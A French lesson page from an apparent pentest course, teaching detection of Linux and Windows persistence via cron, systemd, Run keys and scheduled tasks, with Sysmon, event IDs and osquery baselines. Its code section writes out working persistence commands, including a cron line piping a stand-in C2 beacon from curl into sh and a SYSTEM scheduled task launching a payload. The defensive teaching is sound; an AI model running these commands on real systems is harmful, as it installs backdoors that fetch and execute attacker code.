Retour au cours

cyber / pentest-red-team

Persistance : mécanismes et perspective défensive

Leçon 121 exercice

Explication

Ce que vous allez apprendre

  • Reconnaître les mécanismes de persistance les plus courants sous Linux et Windows
  • Associer chaque mécanisme de persistance à son artefact de détection correspondant
  • Utiliser une baseline système documentée comme outil de détection
  • Comprendre le rôle de Sysmon et des journaux d'événements Windows dans la chasse aux menaces
  • Adopter systématiquement une lecture défensive de ces techniques, jamais offensive hors lab

Dans quel contexte ?

Une équipe de sécurité défensive (blue team) soupçonne qu'un poste a été compromis lors d'une précédente campagne de phishing, mais l'attaquant semble avoir disparu du système. En réalité, il est fréquent qu'un attaquant établisse un mécanisme de persistance discret avant de se retirer temporairement, dans le but de revenir plus tard sans avoir à répéter l'accès initial. Savoir où chercher ces mécanismes est une compétence défensive centrale, directement transposable à un exercice de threat hunting.

D'abord, comprendre pourquoi cette leçon adopte un angle défensif

Contrairement aux leçons précédentes centrées sur la reproduction de techniques en lab, celle-ci privilégie explicitement la détection : chaque exemple de mécanisme de persistance est présenté avec son artefact de détection correspondant, car l'objectif pédagogique n'est jamais de déployer ces mécanismes hors d'un lab, mais de savoir les repérer chez un client ou dans son propre système d'information.

Prérequis

Cette leçon suppose une bonne connaissance de cron et systemd sous Linux, ainsi que du registre et du planificateur de tâches sous Windows, notions abordées dans les leçons système de ce parcours.

Mécanisme de persistanceSystèmeArtefact de détection
Tâche cronLinuxAuditer crontab -l pour chaque utilisateur, pas seulement root
Service systemd camoufléLinuxComparer les services actifs à une baseline connue
Clé de registre RunWindowsSysmon Event ID 13 (modification de registre)
Tâche planifiéeWindowsJournal de sécurité Event ID 4698

Une fois ces mécanismes identifiés, il faut une méthode pour les détecter systématiquement

La clé de la détection n'est pas de connaître chaque technique individuellement, mais de disposer d'une baseline documentée de l'état normal du système — quels services tournent habituellement, quelles clés de registre sont légitimement présentes. Sans cette référence, un service au nom plausible comme "network-helper" peut passer totalement inaperçu au milieu de dizaines d'autres services légitimes.

Piège courant

Se limiter à auditer les tâches cron ou les clés Run du compte root/administrateur est une erreur classique. Un attaquant qui a compromis un compte utilisateur standard peut tout à fait établir sa persistance dans le contexte de ce compte, sans jamais avoir besoin de privilèges élevés pour cela.

Il reste un outil à connaître pour industrialiser cette détection

osquery permet d'interroger l'état d'un système comme s'il s'agissait d'une base de données SQL, ce qui rend la recherche de persistance reproductible et automatisable à grande échelle sur un parc de machines, plutôt que de vérifier manuellement chaque poste un par un.

Bonne pratique

Mets en place une comparaison régulière et automatisée entre l'état système actuel (services, tâches planifiées, clés de démarrage) et une baseline de référence versionnée. C'est cette comparaison systématique, plus que la connaissance de chaque technique individuelle, qui permet de détecter une persistance inconnue jusque-là.

Une fois qu'un attaquant maintient un accès durable, l'étape suivante de son objectif est souvent de récupérer des données sensibles et de les faire sortir du réseau. C'est le sujet de la prochaine leçon, abordée elle aussi du point de vue de la détection réseau côté défenseur.

Commandes & code

Persistance : mécanismes et perspective défensive

Comprendre les mécanismes de persistance sert avant tout à les détecter et les éliminer : c'est l'angle central de cette leçon.

bash
# Linux : tâche cron discrète (à repérer, pas à déployer hors lab)
(crontab -l 2>/dev/null; echo "*/10 * * * * curl -s http://c2.lab/beacon | sh") | crontab -
# Détection défensive : auditer systématiquement crontab -l pour CHAQUE utilisateur, pas juste root
bash
# Linux : service systemd persistant, camouflé sous un nom plausible
cat /etc/systemd/system/network-helper.service
# Détection : comparer la liste des services actifs à une baseline connue et documentée
systemctl list-units --type=service --state=running
powershell
# Windows : clé de registre Run, exécutée à chaque login utilisateur
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Updater" /t REG_SZ /d "C:\temp\payload.exe"
# Détection : surveiller les clés Run/RunOnce avec Sysmon (Event ID 13 - modification registre)
powershell
# Windows : tâche planifiée persistante
schtasks /create /tn "SystemCheck" /tr "C:\temp\payload.exe" /sc onlogon /ru SYSTEM
# Détection : Event ID 4698 (création de tâche planifiée) dans les journaux de sécurité Windows
text
# Checklist défensive de chasse à la persistance (threat hunting)
- Clés de registre Run/RunOnce, services, tâches planifiées : comparer à une baseline connue
- Comptes utilisateurs créés récemment, surtout avec des droits admin
- Extensions de navigateur ou modules non signés chargés au démarrage
- Binaires signés légitimes utilisés de façon détournée (LOLBins) pour masquer l'activité
- Hash et signature de chaque exécutable présent dans les dossiers de démarrage
bash
# Outil défensif : comparer un état système à une baseline pour détecter les écarts
# osquery permet d'interroger l'état du système comme une base SQL, utile en chasse aux menaces
osqueryi "SELECT name, path FROM startup_items;"

Résumé

  • Chaque mécanisme de persistance a un journal ou un artefact correspondant côté défense.
  • Sysmon et les journaux d'événements Windows sont essentiels pour détecter Run keys et tâches planifiées.
  • Une baseline documentée de l'état "normal" du système est la meilleure arme de détection.
  • L'objectif pédagogique n'est jamais de déployer ces mécanismes hors lab, mais de savoir les repérer.

Exercices pratiques

1 disponible
1

Mission : traquer une persistance invisible sur un poste NordShield compromis

Objectif : Identifier un mécanisme de persistance discret et proposer la méthode de détection défensive systématique qui l'aurait révélé plus tôt.

Contexte

La blue team NordShield soupçonne qu'un poste compromis lors d'une précédente campagne de phishing héberge encore un mécanisme de persistance, malgré l'absence d'activité offensive visible actuellement.

Résoudre l’exercice →